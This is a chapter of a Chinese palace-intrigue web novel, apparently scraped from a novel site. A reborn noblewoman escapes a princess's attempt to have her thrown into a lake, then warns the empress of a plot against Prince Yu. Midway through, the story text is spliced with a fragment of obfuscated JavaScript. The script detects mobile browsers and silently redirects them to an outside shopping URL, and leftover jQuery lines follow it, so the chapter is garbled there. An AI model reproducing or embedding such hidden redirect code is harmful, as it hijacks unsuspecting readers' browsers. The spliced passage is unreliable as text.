文趣网 > 其他小说 > 皇后她病娇了(重生) > 15. 第15章
    第二天慕容嗣音如同往常一样,散学后沿着湖边散步,秋风扫过湖面,吹得人心神荡漾,只是不知何时天色逐渐暗了下来。

    这几日宫里看似平静,可她始终觉得像是暴雨前的闷热。

    萧豫齐绝不会无缘无故提起裕王。

    十七昨夜的沉默也不会只是巧合。

    拾雪在一旁叨叨,慕容嗣音左耳进右耳出,两人并肩往寝宫的方向走。

    突然身后传来一声熟悉的叫唤,她转过身,是那日的七公主。

    七公主扬起下巴,依旧是一副嚣张跋扈的模样,“见着本公主怎么不行礼?”

    慕容嗣音懒得跟她计较,朝她行了个礼,“见过七公主。”

    “谁让你起身了!”七公主仍是不满意,越看她越不顺眼,“你给我跪下,掌嘴!”

    她身旁的粉衣女子小声劝道:“七公主,算了吧,良妃娘娘还在等我们呢。”

    慕容嗣音看了那粉衣女子一眼。

    她今日仍旧穿着浅粉色衣裙,眉眼温柔,语气也轻,可脸上并无多少真正的焦急,倒像是早已习惯了七公主这样胡闹。

    “不能算了,今天太子哥哥和六哥哥都不在,我看这次谁还能替她出头!”七公主示意一旁的太监动手。

    慕容嗣音倒也不慌,只是皱眉道:“七公主,我乃皇上和皇后钦点进宫学习,若是出了事,你就不怕陛下和娘娘怪罪下来?”

    七公主满脸不屑:“我是公主,千金之躯,你不过就是一介臣女,我就算今天要了你的性命又如何,这后宫每天都有人悄无声息地死掉,多你一个又何妨?”

    “再说这四周除了我们没有别人,到时候就说你失足落水淹死,即便你父母进宫来闹,没有证据,又能奈我何?”

    慕容嗣音眼底终于冷了下来。

    前世她只知道这位七公主骄纵跋扈,却没想到她轻飘飘说起人命时,竟也能如此理所当然。

    这大概便是被宠坏的公主。

    自小站在云端,从未真正看过底下人的死活。

    前世慕容嗣音只知道她跋扈,却没料想到她还如此愚蠢,那些太监上来就钳住她的双手,按着她的双肩想逼她跪下来,拾雪在一旁急得快哭出来,奈何他们人多势众。

    “绿芙,掌嘴!”七公主得意洋洋地吩咐她的贴身宫女,“然后把她给我丢进湖里!”

    “我看谁敢!”慕容嗣音一声喝止,竟震得众人一时愣在了那里,“裕王殿下就在附近,刚刚才与我分开。如若被他撞见,七公主自然没人能奈何她,可你们只不过是她的走狗,届时恐怕也难逃一死!”

    七公主怔愣一瞬,很快反应过来她是在故弄玄虚:“你们这些狗奴才别被她唬住了,本公主方才分明看到六哥哥急匆匆地出宫,又怎会在附近?”

    “你们现在放了她,本公主立马治你们这群狗奴才的罪!”

    众人面面相觑,就在犹豫的瞬间,慕容嗣音左手边的太监突然发出一声尖叫,双膝一弯,整个人跪在地上,然后表情痛苦地捂着膝盖在地上扭动起来。

    顷刻之间,围在慕容嗣音四周的奴才纷纷尖叫着倒地,个个神态扭曲,表情痛苦不堪。

    “什么情况?”七公主愣住。

    绿芙挣扎着爬到七公主身旁,大喊道:“公主小心,有刺客!”

    众人瞬间惊慌起来,纷纷四散逃窜,七公主慌乱之间被人踩住裙摆,身子一歪竟然直接掉入了湖里。

    “救……救我!”七公主不会游泳,在水里胡乱扑腾,竟越游越远,等那些奴才反应过来,她已经游到了湖中心。

    粉衣女子瞧着却十分冷静,吩咐道:“来人,快下去救七公主!”

    她说得急,神色却并不乱,甚至还看了慕容嗣音一眼。

    那一眼很轻,却像是在衡量。

    慕容嗣音心里忽然记住了她。

    会游泳的都在地上痛得打滚,剩下的都是一些女眷,只能眼睁睁看着七公主往下沉。

    “小姐,怎么办?”拾雪迟疑道。

    “等等。”慕容嗣音冷眼旁观了一会儿。

    七公主该吃点苦头。

    可她不能真的死在这里。

    若七公主今日死了,哪怕所有人都知道是她自己作死,慕容嗣音也一定脱不了干系。

    更何况,这宫里从来不缺颠倒黑白的人。

    粉衣女子看了她一眼,颇有些意味深长,“快去找人!”

    等救兵过来估计七公主尸体都凉了。

    虽然这个七公主实在惹人厌,但毕竟是公主,但如果真的闹出人命,慕容嗣音也没法交代。

    “十七。”她唤了两声。

    树上跳下来一个身影,银色的面具在阳光下折射出刺眼的光。

    她叹了口气:“救人吧。”

    十七站着没动,似乎不太情愿。

    “如果真的闹出人命会很麻烦。”慕容嗣音扯了扯他的衣袖,小声道:“今天谢谢你,来得很及时。”

    十七看了她一眼,提着佩刀就下了水。

    那阵仗看着不像是要救人倒像是要去杀人。

    “你居然在宫里养刺客。”粉衣女子从始至终比她更像个旁观者,嘴上说着要救人,但一直没有动作,这会儿才跟她搭上话。

    慕容嗣音看向她,在记忆中搜索了一番她的面容,只依稀记得她是哪家王公贵胄的女儿,与七公主是童年玩伴,形影不离。

    “十七是陛下钦点留在我身边保护我的,为的就是防止今日之事,今日是你们挑事在先,此事如果真的闹大也无妨,想必陛下和皇后娘娘一定会秉公处理。”

    粉衣女子笑了笑:“那是我误会了。今日确实是七公主太过冲动,我也劝过她多次。如今姑娘也算是报了仇,我们双方就当此事没有发生过,可好?”

    她说得轻巧。

    好像方才七公主要将慕容嗣音丢进湖里,也不过是小姑娘之间一场无伤大雅的玩闹。

    说罢她瞟了眼在场的其他人,冷声道:“今日之事谁都不许说出去,否则要你们脑袋。”

    两人在岸边达成共识,另一边十七也带着七公主上了岸。

    他用佩刀卡住七公主的脖子将她从湖里拖上来,虽是保住了性命,但瞧着也只剩下半条命。

    “多谢大人。”粉衣女子从十七手里接过七公主,抬头的瞬间恰好对上他的眼睛,竟然觉得自己心跳漏了一拍。

    有那么一瞬间的冲动她真想摘下他的面具。

    可没等她细想,十七已经不见了踪影。

    “小姐,我们现在回宫吗?”眼瞅着大雨将至,拾雪催促她回宫。

    慕容嗣音琢磨了片刻,却有些不安,方才七公主说裕王匆匆离宫,她又想起昨夜里十七暧昧不明的态度,分明是太子已经对裕王起了杀心。

    十七如今还在宫里,就已经算是表明了态度,只要裕王还在宫里,她就有信心能让十七护住他,可如果出了宫,那便是危机四伏。

    “去找裕王。”她还是想求个心安。

    按理说皇子成年后便要搬出宫,但萧怀瑾是皇后的心头肉,皇帝特许他成婚后再离宫,可偏偏他本人不近女色,明明也到了适婚年纪,却一直没有动静。

    皇后心急,天天变着法子给他介绍,他却一直以必须先立正妃为借口,避而不见那些女子。

    他很清楚,自己这一生可以娶无数女人,唯独他的正妃之位,必须由皇后钦点。

    而这个位置绝不能是寻常人家,需得身份尊贵家世雄厚,最好能助他打败萧豫齐登上皇位。

    可前世在慕容嗣音记忆中,他终身未娶。

    “小姐,你慢一点,我跟不上了!”拾雪举着伞跟在她身后,被风吹得踉踉跄跄。

    好在萧怀瑾的住所离文华殿不远,她总算在大雨前赶到。

    但依然扑了个空。

    “裕王殿下今日奉旨出宫办事。”接待的宫女并不认识她,只是一板一眼地回答。

    “他何时回来?”

    “奴婢不知。”

    慕容嗣音来宫里不久,萧怀瑾宫里的人她只认识他的贴身太监小盒子,今日也陪他一同出宫,这宫女见她眼生,连门都不让她进。

    “那我便在此等候。”慕容嗣音也不跟她计较。

    眼见狂风愈发放肆,大雨倾盆落下,拾雪举着伞几乎要站不稳,更别说遮风挡雨,很快两人便全身湿透。

    拾雪劝道:“小姐,要不你先回去等吧,如果裕王殿下回来,我再通知你。”

    慕容嗣音很清楚自己此刻不过是在求个安心,如果萧怀瑾真的出事,她这么做也无法挽回。

    重活一世,行事居然还是这么莽撞,看来她是真的不适合走复仇路线。

    她原本也不指望能够复仇萧豫齐,两人地位权力天差地别,哪怕她多了一世记忆,这辈子大抵也斗不赢他。

    但她也不想重蹈覆辙,让至亲至爱都沦落成为权力的牺牲品。

    “走吧。”慕容嗣音替拾雪扶了一把伞,雨水顺着发梢落进领口,冷得她一哆嗦。

    “回去吗?”拾雪松了一口气。

    最近她家小姐真的越来越奇怪,这要是不知情的人见了,明日宫中怕是会盛传她苦恋裕王遭拒,冒着大雨痴情苦等。

    哪知慕容嗣音又是摇头,“去找皇后。”

    两人浑身湿透来到储秀宫,却被宫女告知皇后正在礼佛,拒不见客。

    连续两次遭拒,慕容嗣音心中愈发不安。

    大雨呜咽,狂风呼啸,天色始终阴沉,仿佛一切都在印证她心中的猜想。

    “我今天一定要见到皇后娘娘。”慕容嗣音擦掉眼角沾着的雨水,一手挡住宫女正欲关上的门。

    宫女道:“皇后娘娘吩咐过,不见任何人,还请姑娘不要难为奴婢。”

    “你只管通传,见不见由皇后娘娘决定。”慕容嗣音目光坚定,“你告诉她,裕王有难。”

    宫女脸色微变,“姑娘,这话可不能乱说。”

    “今日裕王殿下奉旨出宫办事,这一路怕是不会安生,你若不想耽误时间,就赶紧去通传。”

    宫女迟疑片刻,还是去了。

    拾雪在背后听得一愣一愣,“小姐,你为什么会觉得裕王殿下有危险?”

    “直觉。”慕容嗣音抬头看了一眼昏暗的天色。

    与其说是直觉,不如说是心有余悸。

    好像这样一个大雨天,总该发生点什么不寻常的事。

    宫女很快去而复返,开门的瞬间递给她一个意味深长的眼神,“慕容姑娘,请进吧。”

    到底是亲生儿子,这样一句没有缘由没有根据的话,便让皇后轻易破了戒。

    储秀宫内依旧是佛香萦绕,慕容嗣音看着眼前被烟雾模糊了面容的皇后,一时间心中觉得有些古怪。

    大衍帝后,一个信道一个信佛,竟也达成了一种微妙的平衡。

    皇后见到她,眉头一皱:“怎么湿成这样?”

    “皇后娘娘,裕王殿下去了多久?”慕容嗣音无心跟她寒暄,开门见山便问道。

    皇后正色道:“一早给本宫请过安便出宫了,你说他有危险,这是什么意思?”

    “我怀疑太子要对裕王殿下下手。”

    “你可知这话传出去你会有什么后果?”皇后闻言面色不改,却分明已经坐不住,起身走向她,“手足相残,本宫听了便罢,若是被皇上知晓,治你一个诽谤罪还是轻的。”

    慕容嗣音却没有丝毫惧色:“今日这话我也只会在娘娘跟前说,想必娘娘也不会让它传出去,对吗?”

    “你真是故作聪明。”皇后略微有些不屑。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686557|207829||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“皇后娘娘难道真的没有担心过吗?”

    皇后转动着手中的佛珠,有些焦躁,看向一旁垂首的宫女,“裕王殿下有没有说过几时回?”

    “回禀娘娘,裕王殿下今早说过,若是顺利的话,应该晌午便能回来。”宫女看了天色,“如今瞧着怕是不太顺利。”

    “据说今日太子殿下也不在宫中。”慕容嗣音继续煽风点火,继而又道:“今日雨势这么大,皇后娘娘派人去接洽裕王殿下,便也在情理之中。”

    皇后看了她一眼,手下微顿,迟疑片刻,吩咐宫女:“找几个机灵点的人去接裕王,另外遣人去东宫,将本宫前些日子得的那两株千年人参送给太子。”

    宫女领命,正要离开,她又道:“罢了,本宫亲自去一趟。”

    慕容嗣音顾不上自己还湿着身,赶紧跟上去。

    拾雪在身后劝她回去换一身衣裳,她却浑然不觉。

    不同于几人行色匆匆,此时的东宫风平浪静,狂风大雨之中甚至有种格格不入的平静。

    原以为萧豫齐不在宫中,可值守的太监宫女却像是早料到几人会来,从善如流道:“皇后娘娘稍等片刻,太子殿下正在小憩,即刻便来。”

    皇后闻言瞥了一眼慕容嗣音,意味很明显。

    慕容嗣音心里一沉。

    萧豫齐在宫里。

    或者说,他此刻正想让所有人知道,他一直在宫里。

    萧豫齐很快出现在前厅,衣冠整齐,眼神清明,面上看不出丝毫睡醒后的倦意。

    进门后,他朝皇后行礼,目光却直直落在慕容嗣音身上。

    慕容嗣音没有避开,藏在袖子里的手指却悄悄蜷缩,心里的不安感愈发强烈。

    “母后今日怎有空亲自来看望儿子,还冒着这么大雨,有事让奴才通传一声便可。”萧豫齐依旧是一副翩翩君子的做派。

    皇后也从善如流道:“听音儿说你今日没有去上课,本宫以为你身体有恙,便让人带了两株千年人参过来给你补补身子。”

    “今日晨起确实觉得有些不适便向刘太傅告了假,不过此时已无大碍,多谢母后关心。”萧豫齐将矛头对准慕容嗣音,“也感谢慕容姑娘挂记,外面雨势很大,我让人为你备轿,你早些回去,莫要染了风寒。”

    慕容嗣音垂首道谢:“多谢太子殿下,不必劳烦,既然您身体无碍,我便也不打搅二位说话。皇后娘娘,臣女先行告退。”

    身后目光灼灼,她全然无视。

    走出东宫,天色已开始转晴,她走得慢,回去的路上,正巧撞见回宫的萧怀瑾。

    慕容嗣音见他一身清爽,毫发无损,一时间觉得自己有些可笑,折腾半天,到头来都是她的独角戏。

    “你这是在雨中散步吗?”萧怀瑾瞧见她这一身湿透的模样,表情有些诧异。

    慕容嗣音问他:“你今日出宫办什么事?可还顺利?”

    “我正要找你,俞成伯一案审理完毕,真凶已抓获,我今日就是奉父皇之命出宫为镇国公接风洗尘。”萧怀瑾说,“放心,我都替你看过了,镇国公身体无恙,还拜托我不要把这事告诉你,免得你在宫中不安生。”

    “陛下有心了。”

    慕容嗣音并不关心真凶是谁。

    萧怀瑾就这么毫发无损地站在她面前,但她依旧惶惶难安,仿佛一脚踏进了萧豫齐的陷阱。

    “裕王殿下,近日宫中恐怕不太平,您多留心。”

    今日在皇后面前摆了个大乌龙,恐怕会成为两人之间一道隔阂。

    不过萧怀瑾无事,这也算一种安慰。

    但萧豫齐此举,绝不仅仅是为了挑拨离间,他心眼多,做事从来不会这么堂而皇之。

    是她忽略了什么细节吗?

    慕容嗣音一路心事重重,回到寝宫,湿透的衣裳贴在皮肤上,冷风吹过,冻得她整个人一个激灵。

    拾雪一路都嘟囔着要给她换件衣裳,进门时脚步却突然变得迟疑,目光往里看,十七正正坐在走廊的长椅上,手里像是在雕刻着什么东西,难得居然没有戴面具。

    也可能是被她扒了太多次,索性破罐子破摔。

    她快步走上前,停在他前面,身体刚好挡住了阳光。

    哪知他连头都没抬,侧过身换了个角度,继续雕刻。

    “你在刻什么?”慕容嗣音厚着脸皮凑上前打量,这一看却愣住了。

    十七手里的木雕已经成型,是个垂髫之年的小女孩,脸上洋溢着灿烂的笑容,与眼前这个正在雕刻她的人形成了鲜明对比。

    那小女孩眉眼弯弯,笑得没心没肺,像是被人保护得很好,不曾见过人间疾苦。

    慕容嗣音盯着看了许久,心里隐约觉得熟悉,却怎么也想不起来在哪里见过。

    “这是谁?”慕容嗣音瞅着这个木雕,觉得有些眼熟,却又怎么都想不起来。

    虽说只是个女娃,她还是有些酸,“是你妹妹?”

    原以为十七不会理会,没想到他却点了下头。

    他居然有妹妹?

    以前怎么没听他提到过?

    疑惑在脑海中徘徊,一旁的拾雪提醒道:“小姐,您还是赶紧进屋换衣裳吧,免得染了风寒。”

    十七这才抬头看了她一眼。

    “今天出门忘了带伞。”慕容嗣音讪讪一笑,有点心虚,又忍不住试探:“你今天怎么这么有空,太子殿下没给你安排任务吗?”

    十七这回没有回应,而是将手中的木雕塞进她手里。

    “送给我?”

    十七点头。

    自己的妹妹为什么要送给她。

    慕容嗣音一脸莫名,他却突然抬头看了眼天色,仿佛一直在等待的时机已至,然后起身,脚尖轻点廊柱,跃上屋顶,消失不见。

    留下她握着手里的木雕不知所措。